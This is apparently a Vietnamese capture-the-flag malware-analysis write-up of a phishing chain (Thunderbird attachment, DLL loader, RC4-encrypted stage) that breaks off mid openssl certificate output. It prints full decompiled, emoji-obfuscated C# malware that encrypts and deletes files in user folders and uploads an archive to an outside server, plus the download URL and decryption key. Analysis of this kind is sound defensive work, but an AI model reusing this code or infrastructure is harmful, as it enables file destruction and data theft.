>Q1: The user opened a software that contained malicious content from the attacker. What was the name of the software?
Ex: Skype
Ans: Thunderbird
Correct!
Q2: What is the name of the file that makes user fall into the attacker's trap?
Ex: example.js
Ans: diemchuan.html
Correct!
Q3: What MITRE ATT&CK techniques did the attacker use?
Ex: T1234.001
Ans: T1566.001
Correct!
#### Stage 2 (Reverse DLL)
Vào hàm Run theo như script powershell chạy với entrypoint khi gọi rundll32
ta thấy nó sẽ gọi hàm FlowAllocation

[+] Hàm LoopHook là một hàm decode Xor QWORD với key = 0x5A
[+] IsBufferLoader : Tạo một request URL đã được giải mã từ LoopForHook sử dụng các API của winhttp
[+] WriteMemcpy là làm đọc dữ liệu trả về từ request và ghi lại vào file Miyamizu_Mitsuha.yourname
[+] RC4 decryption dữ liệu với key là byte_33E154020 (16 bytes)
Tiến hành giải mã dữ liệu ta được lưu vào %TEMP%/steam.exe
Code Xor QWORD

```
https://files.sakamoto.moe/a0f44273e748_steam.enc
```
Kiểm tra thì thấy file vẫn còn được host trên server attack download file và kiểm định với file Miyamizu_Mitsuha.yourname thì giống nhau vậy ta đã xác định được file gốc rồi
dùng key giải mã RC4
vào load vào ILSPY/Dnspy vì check nhanh với die thì nó là một file .NET/C#
#### Đáp án cho câu 4,5,6
>Q4: What is the domain of the website where the malicious file for stage 2 is located?
Ex: mediafire.com
Ans: sakamoto.moe
Correct!
Q5: Digging into the malicious file, what was the original name of the encrypted file that was downloaded?
Ex: payload.enc
Ans: steam.enc
Correct!
Q6: What is the encryption algorithm and key to decrypt the encrypted payload? (Convert it to hex)
Ex: AES_0x1a,0x2b,0x3c,0x4d,...
Ans: RC4_0x3a,0x2d,0x1c,0x4d,0x5e,0x2f,0x7b,0x81,0x3d,0xab,0xbc,0xcd,0xde,0x2f,0xf0,0x01
Correct!
#### Stage 3
```cshap=
// minecraft, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Maicraft.cTIvrRALJgAKjCWOQufOPTJJhWwTDtRCwkk
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Net.Http;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using minecraft;
internal class cTIvrRALJgAKjCWOQufOPTJJhWwTDtRCwkk
{
private static Dictionary<string, string> pdZuVvKNPFSscmrJcOBSJjLEW = new Dictionary<string, string>
{
{ "0", "\ud83c\udf7a" },
{ "1", "\ud83d\ude82" },
{ "2", "\ud83d\udc0f" },
{ "3", "⚽" },
{ "4", "\ud83c\ude3a" },
{ "5", "⛵" },
{ "6", "\ud83d\udd3c" },
{ "7", "\ud83c\udf4d" },
{ "8", "\ud83c\udfa5" },
{ "9", "\ud83d\udebe" },
{ "A", "\ud83d\udc3d" },
{ "B", "\ud83c\udf0a" },
{ "C", "\ud83d\udcac" },
{ "D", "\ud83c\udfad" },
{ "E", "\ud83c\udf06" },
{ "F", "\ud83d\udd0e" },
{ "G", "\ud83d\udc7b" },
{ "H", "\ud83c\ude51" },
{ "I", "\ud83d\udc9b" },
{ "J", "\ud83c\udd7f\ufe0f" },
{ "K", "\ud83c\uddea\ud83c\uddf8" },
{ "L", "\ud83d\udc9c" },
{ "M", "\ud83d\udc36" },
{ "N", "\ud83c\udf8f" },
{ "O", "\ud83d\udc60" },
{ "P", "\ud83c\udf83" },
{ "Q", "\ud83c\udf75" },
{ "R", "\ud83d\uddff" },
{ "S", "\ud83d\udeb9" },
{ "T", "\ud83d\udd28" },
{ "U", "\ud83d\udd1c" },
{ "V", "\ud83d\udcaf" },
{ "W", "ℹ\ufe0f" },
{ "X", "\ud83d\udcc9" },
{ "Y", "\ud83c\ude01" },
{ "Z", "⏩" },
{ "a", "9\ufe0f\u20e3" },
{ "b", "\ud83d\udd01" },
{ "c", "\ud83d\udcd3" },
{ "d", "\ud83d\udc23" },
{ "e", "\ud83d\udc58" },
{ "f", "\ud83c\udf6f" },
{ "g", "\ud83d\udcbb" },
{ "h", "\ud83d\ude8f" },
{ "i", "\ud83d\udc8b" },
{ "j", "\ud83c\udfa9" },
{ "k", "\ud83c\udf63" },
{ "l", "\ud83d\udc5e" },
{ "m", "\ud83d\udd38" },
{ "n", "\ud83c\udf7b" },
{ "o", "\ud83d\udc9a" },
{ "p", "\ud83c\udf87" },
{ "q", "\ud83d\ude9b" },
{ "r", "\ud83d\udc88" },
{ "s", "\ud83c\udfc8" },
{ "t", "\ud83d\ude0d" },
{ "u", "\ud83d\udeb4" },
{ "v", "\ud83d\udcbf" },
{ "w", "\ud83d\udc8f" },
{ "x", "✒\ufe0f" },
{ "y", "\ud83c\udf46" },
{ "z", "\ud83c\udf67" },
{ "_", "\ud83d\udd52" },
{ "-", "\ud83d\udc4c" },
{ "/", "\ud83d\udc2e" },
{ "+", "\ud83d\udc2d" },
{ "=", "\ud83d\udd0c" }
};
private static void lzzmjArGgUUExMsxcUOqmdCCBrduwURYMq(string outputArchive, params string[] inputFiles)
{
string text = string.Join(NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("\ud83d\udc9b\ud83d\udc3d\ud83d\udd0c\ud83d\udd0c"), inputFiles.Select((string f) => "\"" + f + "\""));
Process.Start(NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("\ud83c\udf75\ud83c\udf67\ud83c\udf87\ud83d\udcd3\ud83d\udd1c\ud83c\ude51\ud83c\udd7f\ufe0f\ud83d\udcbf⏩⚽\ud83c\udd7f\ufe0f\ud83d\ude8f\ud83d\udd01\ud83d\udeb9\ud83c\udf0a\ud83d\udc7b9\ufe0f\u20e3ℹ\ufe0f✒\ufe0f\ud83d\udc5e\ud83d\udcd3\ud83d\ude82\ud83d\udc8f⚽\ud83d\udc9c\ud83d\udcaf\ud83c\udf87\ud83c\udf87\ud83d\udcd3\ud83d\udd0e\ud83d\udc8f⚽\ud83d\udc58\ud83d\udc8b⛵\ud83d\udc5e\ud83d\udc58\ud83d\udc7b\ud83d\udd1c\ud83d\udd0c"), "a -t7z -mx5 -parameter-none \"" + outputArchive + "\" " + text)?.WaitForExit();
}
private static async Task hVQylKhewOSgWxHuxbNcBpLUQmdgVGemoKmKEvbqat(string filePath)
{
using MultipartFormDataContent YIYcePSZHvUeSMhUzZwoVHmOV = new MultipartFormDataContent();
YIYcePSZHvUeSMhUzZwoVHmOV.Add(new ByteArrayContent(File.ReadAllBytes(filePath)), NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("⏩\ud83d\udd38\ud83d\udc5e\ud83c\udfc8⏩\ud83c\udf75\ud83d\udd0c\ud83d\udd0c"), Path.GetFileName(filePath));
HttpClientHandler handler = new HttpClientHandler
{
ServerCertificateCustomValidationCallback = HttpClientHandler.DangerousAcceptAnyServerCertificateValidator
};
using HttpClient JToIYNnsPTVBGdtYorgktWiMEPfUEkMGMChTBrH = new HttpClient(handler);
await JToIYNnsPTVBGdtYorgktWiMEPfUEkMGMChTBrH.PostAsync(NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("9\ufe0f\u20e3\ud83c\ude51\ud83d\uddff\ud83c\udf7a\ud83d\udcd3\ud83c\ude51\ud83d\udc36\ud83d\udd3c\ud83d\udc9c\ud83c\udf46\ud83c\udfa5✒\ufe0f\ud83d\udc60\ud83d\udd28\ud83d\udc9b\ud83d\udeb4\ud83d\udc36\ud83d\udd28\ud83c\ude01\ud83c\ude3a\ud83d\udc9c\ud83c\udfa9\ud83d\udc9b\ud83c\udf7a\ud83c\udf8f\ud83d\udcac\ud83c\ude3a✒\ufe0f\ud83d\udc36\ud83c\udfa9\ud83c\udf63\ud83d\udd3c\ud83c\udf8f\ud83c\udfad\ud83c\udf75\ud83c\udf67\ud83d\udc36\ud83c\udf46\ud83c\udfa5\ud83d\udd0c"), YIYcePSZHvUeSMhUzZwoVHmOV);
}
private static byte gbTxSBXvOnHlWXYrw(byte b, int rounds)
{
for (int i = 0; i < rounds; i++)
{
b = (byte)((uint)((b ^ 0xA5) + 37) & 0xFFu);
}
return b;
}
private static byte[] TxWVCaCGswNFFkFNyyuGYebzTnmKMI(byte[] plaintext, byte[] key, int rounds = 3)
{
byte[] array = new byte[plaintext.Length];
int num = key.Length;
for (int i = 0; i < plaintext.Length; i++)
{
byte b = gbTxSBXvOnHlWXYrw(key[i % num], rounds);
array[i] = (byte)(plaintext[i] ^ b);
}
return array;
}
private static int[] OVixtxAlZgODrcwOVgagxeWAk()
{
int[] array = new int[256];
using RNGCryptoServiceProvider rNGCryptoServiceProvider = new RNGCryptoServiceProvider();
byte[] array2 = new byte[1024];
rNGCryptoServiceProvider.GetBytes(array2);
Buffer.BlockCopy(array2, 0, array, 0, array2.Length);
return array;
}
private static byte[] qUipnfARjQBaBGtORUDuGAblGcanrkCStJ(string input)
{
using SHA256 sHA = SHA256.Create();
return sHA.ComputeHash(Encoding.UTF8.GetBytes(input));
}
private static byte[] lSJNJosACuzaDIkQoaEIkvSckaEPgrBKmY(byte[] data, out byte[] key, out byte[] iv)
{
using Aes aes = Aes.Create();
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
byte[] src = qUipnfARjQBaBGtORUDuGAblGcanrkCStJ(NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("\ud83c\ude01ℹ\ufe0f⛵\ud83d\udc9a⏩\ud83d\udc7b\ud83d\udd0e\ud83c\udf7a\ud83d\udc23ℹ\ufe0f⛵\ud83c\udf7b\ud83d\udc58ℹ\ufe0f\ud83d\udcaf\ud83d\ude82⏩ℹ\ufe0f\ud83d\ude82\ud83c\udf46\ud83c\ude01\ud83d\udcc9\ud83d\uddff\ud83d\udeb49\ufe0f\u20e3\ud83d\udc7b\ud83d\udc5e\ud83d\udc5e\ud83d\udc23\ud83c\udf75\ud83d\udd0c\ud83d\udd0c"));
key = new byte[32];
iv = new byte[16];
Buffer.BlockCopy(src, 0, key, 0, 32);
Buffer.BlockCopy(src, 16, iv, 0, 16);
using ICryptoTransform cryptoTransform = aes.CreateEncryptor(key, iv);
return cryptoTransform.TransformFinalBlock(data, 0, data.Length);
}
private static byte[] ddAxJkAciSG(byte[] data, string publicKey)
{
using RSA rSA = RSA.Create();
rSA.ImportSubjectPublicKeyInfo(Convert.FromBase64String(publicKey), out var _);
return rSA.Encrypt(data, RSAEncryptionPadding.OaepSHA256);
}
private static string eOUFdPmHAHcqPJQRyafSXBf(int length)
{
byte[] array = new byte[length];
using RNGCryptoServiceProvider rNGCryptoServiceProvider = new RNGCryptoServiceProvider();
rNGCryptoServiceProvider.GetBytes(array);
StringBuilder stringBuilder = new StringBuilder(length);
byte[] array2 = array;
foreach (byte b in array2)
{
stringBuilder.Append("KitakitasuruOPQRSTUVWXYZKitakitasuruopqrstuvwxyz"[b % "KitakitasuruOPQRSTUVWXYZKitakitasuruopqrstuvwxyz".Length]);
}
return stringBuilder.ToString();
}
private static void eLzUcATejKPOKKMlaYnpnwtwzJclOfwjWFRoaxlxd(string[] dirs, string pubKey)
{
ISAAC iSAAC = new ISAAC(OVixtxAlZgODrcwOVgagxeWAk());
byte[] array = new byte[32];
for (int i = 0; i < array.Length; i++)
{
array[i] = (byte)iSAAC.Next();
}
byte[] key;
byte[] iv;
byte[] bytes = ddAxJkAciSG(lSJNJosACuzaDIkQoaEIkvSckaEPgrBKmY(array, out key, out iv).Concat(key).Concat(iv).ToArray(), pubKey);
string text = Path.Combine(Path.GetTempPath(), NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("\ud83d\udd01ℹ\ufe0f\ud83d\udd0e\ud83c\udf87\ud83c\ude01⚽\ud83c\udd7f\ufe0f\ud83d\ude8f⏩\ud83c\udf7b\ud83d\uddff\ud83c\udf6f") + Guid.NewGuid());
Directory.CreateDirectory(text);
File.WriteAllBytes(Path.Combine(text, NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("9\ufe0f\u20e3\ud83d\udc0f\ud83d\udc5e\ud83c\udf7a\ud83c\ude01\ud83d\udeb9⛵\ud83d\udc88⏩\ud83d\udcc9\ud83c\udf63\ud83d\udd0c")), bytes);
List<string> list = new List<string>();
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
foreach (string path in dirs)
{
string path2 = Path.Combine(folderPath, path);
if (!Directory.Exists(path2))
{
continue;
}
string[] files = Directory.GetFiles(path2);
foreach (string text2 in files)
{
list.Add(text2);
try
{
byte[] bytes2 = TxWVCaCGswNFFkFNyyuGYebzTnmKMI(File.ReadAllBytes(text2), array);
string text3 = eOUFdPmHAHcqPJQRyafSXBf(20);
File.WriteAllBytes(Path.Combine(Path.GetDirectoryName(text2), text3 + NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("\ud83d\udc9c\ud83c\udf63\ud83d\udcaf\ud83d\udc9b\ud83c\udf75\ud83d\udc8f\ud83d\udd0c\ud83d\udd0c")), bytes2);
File.Delete(text2);
Thread.Sleep(500);
}
catch
{
}
}
}
File.WriteAllLines(Path.Combine(text, NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("\ud83d\udd01⚽\ud83c\udd7f\ufe0f\ud83c\udf87⏩\ud83d\udc0f\ud83d\udc5e\ud83d\udeb4\ud83c\ude01ℹ\ufe0f✒\ufe0f\ud83c\udf6f⏩\ud83d\udd38\ud83d\udc5e\ud83c\udfc8⏩\ud83d\udcc9\ud83d\udc36\ud83d\udeb4\ud83d\udc23\ud83c\ude51\ud83d\ude8f\ud83c\udf7a")), list, Encoding.UTF8);
string text4 = Path.Combine(text, NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("\ud83d\udcd3\ud83d\udc7b\ud83d\udd0e\ud83c\udfa99\ufe0f\u20e3\ud83d\udc0f\ud83d\udd0e\ud83c\udf7b⏩\ud83d\udeb9\ud83c\ude3a⚽\ud83d\udc58\ud83d\udcbb\ud83d\udd0c\ud83d\udd0c"));
string[] files2 = Directory.GetFiles(text);
lzzmjArGgUUExMsxcUOqmdCCBrduwURYMq(text4, files2);
hVQylKhewOSgWxHuxbNcBpLUQmdgVGemoKmKEvbqat(text4).Wait();
Thread.Sleep(5000);
Directory.Delete(text, recursive: true);
}
private static void Main()
{
string pubKey = NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("\ud83d\udd28\ud83d\udd1c\ud83d\udc5e\ud83c\udd7f\ufe0f\ud83c\udf75\ud83c\udf63\ud83d\udc5e\ud83d\ude9b\ud83c\udf75\ud83d\udd1c⛵\ud83d\udcac⏩\ud83d\udc0f\ud83d\ude0d✒\ufe0f9\ufe0f\u20e3\ud83d\udc7b\ud83d\ude0d\ud83c\udf87\ud83d\uddff\ud83c\udf67\ud83d\udc5e⚽\ud83d\udc36\ud83c\udf06\ud83c\udd7f\ufe0f\ud83c\udf0a\ud83d\udd1c\ud83d\udd1c\ud83d\udcaf\ud83d\udc7b\ud83c\udf75\ud83d\udd1c\ud83d\udd0e\ud83c\udf83\ud83c\udf75\ud83c\udf7a\ud83d\udd0e\ud83d\uddff\ud83d\udc60\ud83c\udf06\ud83d\udd0e\ud83c\udf8f\ud83d\udeb9\ud83d\udd1c\ud83d\udc5e\ud83d\udcac\ud83c\udf75\ud83d\udc0f\ud83d\udc23\ud83d\udc9c\ud83c\udf75\ud83c\udf7a\ud83d\udd0e\ud83d\uddff\ud83d\uddff\ud83d\udd1c\ud83c\udf06\ud83d\udc8f\ud83d\udd28\ud83d\udd38\ud83d\ude8f\ud83d\ude8f\ud83d\udeb9ℹ\ufe0f\ud83d\udc5e⚽\ud83d\uddff\ud83d\udd1c\ud83d\udd0e\ud83d\udcbf\ud83c\ude01\ud83c\udfa9⏩\ud83d\udcbf\ud83d\udd28\ud83d\udd38\ud83d\ude82✒\ufe0f\ud83d\udd1c\ud83d\udd38\ud83c\udf06\ud83d\ude82\ud83d\udd28\ud83d\udc0f⛵\ud83c\udf83ℹ\ufe0f\ud83d\udd28⏩\ud83c\udf0a\ud83d\udd28\ud83c\udf46\ud83d\ude0d\ud83d\udd1c⏩\ud83c\udfad\ud83c\udd7f\ufe0f\ud83c\ude01\ud83c\udf8f\ud83d\udc0f\ud83d\ude82\ud83c\udf8f⏩\ud83d\udc0f\ud83d\udc23\ud83c\uddea\ud83c\uddf8\ud83c\ude01\ud83c\udf7a\ud83d\udc5e\ud83c\udfa9\ud83d\udeb9\ud83d\udd1c\ud83c\udf7a\ud83c\ude3a\ud83d\udc9c\ud83d\ude82⏩\ud83d\udc8b\ud83d\udc23\ud83c\udfa9\ud83d\udd0e\ud83d\udc0f\ud83d\udd01\ud83c\udf7b\ud83d\udcaf\ud83d\ude8f\ud83c\uddea\ud83c\uddf8⚽\ud83d\udc9a\ud83c\udf67\ud83d\udc36\ud83c\udf7a\ud83d\udd1c✒\ufe0f⏩\ud83c\udf63\ud83d\udd0e\ud83d\udcaf\ud83c\ude01\ud83d\ude82\ud83d\uddff\ud83c\udd7f\ufe0f⏩\ud83d\udcaf\ud83d\uddff\ud83d\udc9b\ud83d\uddff\ud83c\udf06\ud83d\udc5e\ud83c\udf87\ud83d\udd28\ud83d\udcaf\ud83c\udd7f\ufe0f\ud83d\udd28\ud83d\uddff\ud83d\udd28\ud83d\uddff\ud83c\udfad⏩\ud83c\udf06\ud83c\udf8f\ud83c\udf8f\ud83d\udd1c⚽\ud83c\udf63✒\ufe0f\ud83d\uddff\ud83c\udf06\ud83c\udf06\ud83d\udc0f9\ufe0f\u20e3\ud83c\udf7a\ud83d\udcbb\ud83d\udc88\ud83d\udc58\ud83d\udc7b\ud83d\ude8f\ud83d\udc60\ud83c\udf8f\ud83d\ude82\ud83c\udf8f\ud83c\udf67\ud83d\udc60ℹ\ufe0f⛵\ud83d\udc9b\ud83d\udd01\ud83d\udc5e\ud83d\uddff\ud83c\udf06\ud83d\uddff\ud83c\udf63⛵\ud83d\udc9a\ud83d\udd1c\ud83d\udd38\ud83d\udc23\ud83c\udf83\ud83d\udc58\ud83c\udf7b\ud83d\udcaf\ud83d\ude0d\ud83c\udf8f\ud83d\udc0f\ud83c\ude01\ud83c\udf46\ud83d\udc58\ud83c\udf7b\ud83d\udd0e\ud83c\ude51\ud83d\udeb9\ud83d\udd38\ud83d\udebe⚽\ud83d\uddff\ud83d\udcc9⏩\ud83d\udc88⏩\ud83d\udd1c\ud83d\ude0d\ud83d\udc9a\ud83d\udc60\ud83d\udd1c\ud83c\ude3a\ud83d\udc8f\ud83d\udd01\ud83d\udd38\ud83c\udf8f\ud83c\udf67\ud83d\udc23ℹ\ufe0f\ud83d\udc5e\ud83d\ude0d\ud83d\uddff\ud83d\udc7b\ud83c\udf06\ud83c\udf46\ud83c\uddea\ud83c\uddf8\ud83c\udf7a✒\ufe0f\ud83d\udc8f\ud83d\udcaf\ud83d\udd1c\ud83d\uddff\ud83d\udd28\ud83d\udd1c\ud83c\ude51\ud83d\udcbb\ud83d\ude82\ud83d\udc36⚽\ud83d\udc23\ud83c\udd7f\ufe0f\ud83d\udeb9\ud83c\udf63\ud83c\udf63\ud83c\udf67\ud83d\udc58\ud83d\udd0e\ud83d\uddff\ud83d\udd28\ud83d\udcaf\ud83c\ude51\ud83d\uddff\ud83c\udf83⏩\ud83d\udd28\ud83d\uddff\ud83d\udd28⏩\ud83d\udd1c\ud83c\udd7f\ufe0f\ud83d\udd38\ud83d\udc23\ud83c\udfad\ud83d\udc23\ud83c\udf0a\ud83d\udcd3\ud83c\udf63\ud83c\udf06\ud83d\ude82\ud83d\udc58\ud83d\udc7b\ud83d\udcd3\ud83d\udc0f\ud83d\udcaf\ud83d\udcc9\ud83c\udf87\ud83d\udeb4\ud83d\udc9c\ud83d\ude82\ud83d\udc9a\ud83c\udf7a\ud83c\udf75\ud83d\udcc9\ud83d\ude8f\ud83d\ude82\ud83d\udcaf\ud83c\udfa9\ud83c\ude01\ud83c\udf7a\ud83d\uddff\ud83d\udd1c\ud83c\udd7f\ufe0f\ud83d\udcac\ud83d\udc23\ud83d\udcc9\ud83d\udd0e\ud83d\udc9b\ud83c\uddea\ud83c\uddf8\ud83d\udc0f\ud83d\udd0e\ud83c\udf75\ud83d\udeb9\ud83d\udd28\ud83d\udd1c\ud83c\udf67\ud83d\udcaf\ud83c\udfad\ud83d\uddff\ud83d\udcbf\ud83d\udd1c\ud83d\udd1c\ud83d\udc5e\ud83d\udc88\ud83c\udf8f\ud83c\udf63\ud83d\udd0e\ud83d\udd0e\ud83d\udd28\ud83c\ude51\ud83c\udf0a\ud83d\udd38\ud83c\udf75ℹ\ufe0f\ud83c\ude3a\ud83d\ude82\ud83d\udd01\ud83d\udd28\ud83d\udc9b\ud83c\udf46\ud83c\udf75\ud83d\ude82\ud83d\udc9a\ud83c\udf7a\ud83d\udc60\ud83d\udd0e\ud83d\ude8fℹ\ufe0f\ud83d\udcd3\ud83d\udc8b\ud83d\ude0d\ud83c\udf87\ud83d\udd28\ud83c\udf46\ud83d\ude0d\ud83d\ude82\ud83c\udf8f\ud83d\udc0f\ud83d\ude8f\ud83c\uddea\ud83c\uddf8\ud83d\udcd3\ud83c\udf06\ud83d\uddff\ud83d\udd28\ud83d\udc23\ud83c\udf63\ud83d\ude82\ud83d\udc9c\ud83d\udcaf\ud83d\udc7b\ud83d\ude82\ud83c\ude51\ud83c\udf8f\ud83c\udf67\ud83d\udc5e⛵9\ufe0f\u20e3\ud83c\udfad\ud83d\udc23\ud83c\udf7b\ud83d\udd01ℹ\ufe0f\ud83d\udc23\ud83d\udc7b⏩⚽\ud83d\udc23\ud83c\udf0a\ud83d\udd28\ud83d\udd1c\ud83d\udc8f⚽\ud83c\ude01\ud83d\ude82\ud83c\udf8f\ud83d\udc9b\ud83d\udeb9\ud83d\udd0e\ud83d\uddff\ud83c\udf8f⏩\ud83d\udcaf\ud83c\udf0aℹ\ufe0f9\ufe0f\u20e3\ud83d\udcaf\ud83d\udc5e\ud83d\udcbf9\ufe0f\u20e3\ud83c\udf67\ud83d\udd0e\ud83d\udd28\ud83d\udd1c⚽\ud83d\udcaf\ud83d\udc88\ud83d\udeb9\ud83d\udc7b\ud83d\udcaf\ud83d\udeb9⏩\ud83c\udf06\ud83d\udcaf\ud83d\ude8f\ud83d\uddff\ud83d\udd38\ud83c\udfc8\ud83c\ude3a\ud83d\udd28\ud83d\udd28⏩\ud83d\ude8f9\ufe0f\u20e3\ud83d\udd1c\ud83d\udcaf✒\ufe0fℹ\ufe0fℹ\ufe0f\ud83d\udc36⚽\ud83d\udc9c\ud83c\udf7a\ud83d\udd0e\ud83c\udfa9\ud83d\udcaf\ud83d\ude82\ud83c\udf8f\ud83d\udeb4\ud83d\udeb9\ud83d\udc7b\ud83d\udcaf\ud83c\ude01\ud83d\udcd3\ud83d\udd0e\ud83d\ude8f\ud83c\uddea\ud83c\uddf8\ud83d\udd28\ud83d\udd38⏩\ud83d\udd0e\ud83d\uddffℹ\ufe0f\ud83c\udf8f\ud83c\udfad\ud83d\udd28\ud83c\ude51\ud83d\udcaf\ud83c\udfad\ud83d\udcd3\ud83d\udd1c⛵\ud83d\ude9b\ud83c\udf8f\ud83d\udc0f⏩\ud83c\udfa9\ud83d\udcaf\ud83c\udfad\ud83d\udc9b\ud83d\ude82⏩\ud83d\udc0f\ud83d\ude82\ud83d\udd0e\ud83d\udc23\ud83c\udf7a\ud83d\udcd3\ud83d\ude82\ud83d\udd01\ud83d\udd0e\ud83d\udc5e\ud83c\udfa9ℹ\ufe0fℹ\ufe0f\ud83c\udf87\ud83d\udc88\ud83c\udf8f\ud83d\udcc9\ud83c\udf87\ud83c\udf7b\ud83d\udd01\ud83d\udd0e\ud83c\udf0a\ud83d\udd38\ud83c\uddea\ud83c\uddf8\ud83d\udc0f\ud83d\ude0d\ud83c\uddea\ud83c\uddf8\ud83d\udc36\ud83d\udd0e\ud83d\udd0e\ud83c\udd7f\ufe0f\ud83d\uddff\ud83c\udf06\ud83d\udd0e\ud83d\uddff\ud83c\udf75\ud83d\udd1c\ud83d\udc9b\ud83d\udd0c");
eLzUcATejKPOKKMlaYnpnwtwzJclOfwjWFRoaxlxd(new string[5]
{
NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("\ud83d\uddff\ud83d\udc7b\ud83d\udebe\ud83c\udfa9\ud83d\udc23ℹ\ufe0f\ud83d\ude82\ud83d\udc5e\ud83d\udd01\ud83c\udf7b\ud83d\uddff\ud83c\udf67"),
NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("\ud83d\udcaf\ud83d\udd38\ud83d\udc5e\ud83c\udf63⏩ℹ\ufe0f\ud83d\udebe\ud83c\udf67"),
NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("\ud83d\udd1c\ud83d\udc7b\ud83d\udc5e\ud83c\udfa9\ud83d\udc23\ud83c\ude51\ud83d\udcaf\ud83c\udf46⏩\ud83d\udcc9\ud83d\udc36\ud83d\udd0c"),
NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("\ud83d\udd28\ud83d\udcc9\ud83d\udcaf\ud83c\udf679\ufe0f\u20e3ℹ\ufe0f\ud83d\udc36\ud83d\udd0c"),
NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd("\ud83d\uddff\ud83d\udc7b\ud83d\udcaf\ud83c\udf679\ufe0f\u20e3⚽\ud83d\uddff\ud83d\udcbf\ud83d\udcd3\ud83d\udc3d\ud83d\udd0c\ud83d\udd0c")
}, pubKey);
}
private static string NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd(string java)
{
string text = null;
StringInfo stringInfo = new StringInfo(java);
for (int i = 0; i < stringInfo.LengthInTextElements; i++)
{
string text2 = stringInfo.SubstringByTextElements(i, 1);
foreach (KeyValuePair<string, string> item in pdZuVvKNPFSscmrJcOBSJjLEW)
{
if (item.Value == text2)
{
text += item.Key.ToString();
}
}
}
return Encoding.UTF8.GetString(Convert.FromBase64String(text));
}
}
```
Chương trình sử dụng kỹ thuật mã hóa emoji với một cái dictionary dùng mapping về lại ASCII
Đây là code mapping lại chuỗi escape/emoji

[+] NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd hàm chức năng decode escape/emoji
[+] eLzUcATejKPOKKMlaYnpnwtwzJclOfwjWFRoaxlxd Main code nhận 5 đối số là các folder như :
b'Documents',b'Videos',b'Pictures',b'Music',b'Desktop'
Tóm tắt logic code hàm Maincode
Tại một key dùng decryption payload được tạo thông qua ISAASC nhận một seed từ return của OVixtxAlZgODrcwOVgagxeWAk()
mã hóa key này với AES với key_aes và iv_aes (hardcode) xong wapper cả 3 vào rồi lại mã hóa với RSA
lưu data vào **kita.key**
[+] TxWVCaCGswNFFkFNyyuGYebzTnmKMI là hàm giải mã với key ban đầu được custom với rounds = 3
giả mã payload xor đơn giản với key custom
và có một điều đáng chú ý là attacker đã lưu các tên file gốc và một list lưu vào **original_files.txt** sau đó được nén với 7zip ở hàm
[+]lzzmjArGgUUExMsxcUOqmdCCBrduwURYMq : nén file với 7z
[+] hVQylKhewOSgWxHuxbNcBpLUQmdgVGemoKmKEvbqat : Send file ra ngoài
Tạo folder "%TEMP%\maicraft_<GUID>" để lưu trữ files **"kita.key,original_files.txt"**
```
Payload giải mã hàm nén
Process.Start(C:\\Program Files\\7-Zip\\7z.exe, "a -t7z -mx5 -parameter-none \"" + package.7z "\" + %TEMP%maicraft_<GUID>)
```
```
Payload giải mã hàm send
https://192.168.244.129:4433/file
```
Tới đây ta có đc IPC2 cũng như file được gửi
Check file pcapng có trong temp folder wireshark_Ethernet03ZL1B3.pcapng
thì thấy có các connect tới Ip này nhưng đã bị mã hóa TLSv1.2 thì TLSv1.2 sử dụng thuật toán RSA để encrypted packet liệu ta có thể crack được private key từ publickey không?
Hãy thử tôi sẽ tìm Handshake của TLS và lấy public key từ Server Hello packet
dùng openssl để kiểm tra thông tin cert
```
openssl x509 -in ../public.cer -text -noout
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
a7:13:6c:39:cf:6c:34:61
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
Validity
Not Before: Jul 22 12:40:09 2025 GMT
Not After : Jul 22 12:40:09 2026 GMT
Subject: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (1024 bit)
Modulus:
00:8e:67:9c:2f:5e:44:ff:8f:57:0f:09:ea:a7:ea:
76:48:59:61:db:50:c6:d2:b8:86:e6:dd:cc:11:1b:
ca:7d:c5:46:8d:f6:be:f7:00:b5:a0:aa:1c:c7:68:
0c:16:10:08:90:8e:2b:7c:bd:d9:95:15:13:87:b5:
e6:83:52:80:6e:d9:e9:8a:a9:71:dc:3e:ae:88:a9:
5b:1b:92:dd:29:72:b1:d7:d1:0a:3e:91:50:c1:00:
15:b0:db:6f:86:bd:49:e9:4f:7e:b9:b2:63:8e:0d:
ba:23:a0:04:30:00:00:00:00:00:00:00:00:00:00:
00:00:00:00:00:02:29:7e:23
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
AA:AA:16:93:76:3F:B4:9B:92:A8:AF:30:0D:AA:31:56:D7:41:6C:11
X509v3 Authority Key Identifier:
AA:AA:16:93:76:3F:B4:9B:92:A8:AF:30:0D:AA:31:56:D7:41:6C:11
X509v3 Basic Constraints:
CA:TRUE
Signature Algorithm: sha256WithRSAEncryption
Signature Value:
